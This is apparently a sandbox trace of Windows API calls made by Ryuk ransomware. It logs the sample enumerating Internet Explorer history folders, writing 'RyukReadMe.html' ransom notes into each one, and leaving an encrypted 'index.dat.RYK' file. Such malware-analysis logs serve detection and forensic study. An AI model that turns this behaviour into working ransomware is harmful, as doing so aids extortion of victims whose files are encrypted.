	[0262.871] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7b3def40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0262.871] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7b3def40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.871] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0262.871] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x77ba17e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0262.871] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5ed7950, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1
	[0262.871] SetLastError (dwErrCode=0x0) 
	[0262.871] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.871] GetLastError () returned 0x3
	[0262.871] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0262.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.871] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x218, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0262.871] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0262.872] SetLastError (dwErrCode=0x0) 
	[0262.872] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010820200109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\history.ie5\\mshist012020010820200109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.872] GetLastError () returned 0x3
	[0262.872] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0262.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.872] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b3def40, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b3def40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0262.872] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b3def40, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b3def40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0262.872] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0262.872] SetLastError (dwErrCode=0x0) 
	[0262.872] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.872] GetLastError () returned 0x3
	[0262.872] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0262.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.872] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0262.872] SetLastError (dwErrCode=0x0) 
	[0262.873] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0262.873] GetLastError () returned 0xb7
	[0262.873] CloseHandle (hObject=0x748) returned 1
	[0262.873] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0262.873] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.873] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0262.873] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c168c60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c168c60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0262.873] SetLastError (dwErrCode=0x0) 
	[0262.874] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x72c
	[0262.874] GetLastError () returned 0xb7
	[0262.874] CloseHandle (hObject=0x72c) returned 1
	[0262.874] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c168c60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c168c60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0262.874] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c168c60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c168c60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.874] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x206, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0262.874] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7c168c60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8122, dwReserved0=0x206, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0262.874] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1
	[0262.875] SetLastError (dwErrCode=0x0) 
	[0262.875] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.875] GetLastError () returned 0x3
	[0262.875] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18b708, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18b708, lpOverlapped=0x0) returned 0
	[0262.875] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.875] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x18b090 | out: lpFindFileData=0x18b090*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0262.875] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0262.875] SetLastError (dwErrCode=0x0) 
	[0262.875] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.875] GetLastError () returned 0x3
	[0262.875] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18b708, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18b708, lpOverlapped=0x0) returned 0
	[0262.875] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.875] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b6666a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b6666a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c142b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x206, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0262.875] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b6666a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b6666a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c142b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x206, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0262.875] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0262.876] SetLastError (dwErrCode=0x0) 
	[0262.876] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.876] GetLastError () returned 0x3
	[0262.876] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0262.876] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.876] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x776938c0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0262.876] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x776938c0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0262.876] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0262.876] SetLastError (dwErrCode=0x0) 
	[0262.876] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0262.876] GetLastError () returned 0xb7
	[0262.876] CloseHandle (hObject=0x748) returned 1
	[0262.877] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7766d760, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0262.877] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7766d760, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0262.877] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0262.877] SetLastError (dwErrCode=0x0) 
	[0262.877] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.877] GetLastError () returned 0xb7
	[0262.877] CloseHandle (hObject=0x74c) returned 1
	[0262.877] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1
	[0262.877] SetLastError (dwErrCode=0x0) 
	[0262.877] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.878] GetLastError () returned 0xb7
	[0262.878] CloseHandle (hObject=0x74c) returned 1
